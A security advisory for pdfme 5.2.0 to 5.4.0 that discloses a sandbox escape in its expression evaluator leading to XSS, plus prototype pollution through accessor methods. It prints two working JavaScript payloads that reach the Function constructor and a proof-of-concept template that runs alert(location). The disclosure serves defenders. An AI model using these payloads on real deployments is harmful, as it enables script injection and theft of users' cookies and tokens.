GHSA-54xv-94qv-2gfg

## Summary The expression evaluation feature in pdfme 5.2.0 to 5.4.0 contains critical vulnerabilities allowing sandbox escape leading to XSS and prototype pollution attacks.

## Details

### 1. Sandbox Escape Leading to XSS

The expression evaluator's sandbox can be bypassed to execute arbitrary JavaScript code. Attackers can obtain the Function constructor through indirect methods:

```javascript // Attack vector 1: Using Object.getOwnPropertyDescriptor { ((f, g) => f(g(Object), "constructor").value)(Object.getOwnPropertyDescriptor, Object.getPrototypeOf)("alert(location)")() }

// Attack vector 2: Using object property access { { f: Object.getOwnPropertyDescriptor }.f({ g: Object.getPrototypeOf }.g(Object), "constructor").value("alert(location)")() } ```

Both payloads bypass the sandbox restrictions and execute `Function("alert(location)")()`.

### 2. Prototype Pollution

The expression evaluator allows access to prototype accessor methods which can be exploited with Object.assign to pollute the prototype chain: - `__lookupGetter__` - `__lookupSetter__` - `__defineGetter__` - `__defineSetter__`

## Impact

These vulnerabilities allow attackers to: - Execute arbitrary JavaScript code in the context of the application - Steal sensitive information including cookies and tokens - Modify application behavior through prototype pollution - Potentially perform actions on behalf of users

## Proof of Concept

Loading the following template in pdfme triggers `alert(location)`:

```json { "schemas": [[{ "name": "field1", "type": "text", "content": "{ ((f, g) => f(g(Object), 'constructor').value)(Object.getOwnPropertyDescriptor, Object.getPrototypeOf)('alert(location)')() }", "position": { "x": 0, "y": 0 }, "width": 100, "height": 100 }]], "basePdf": { "width": 100, "height": 100 }, "pdfmeVersion": "5.4.0" } ```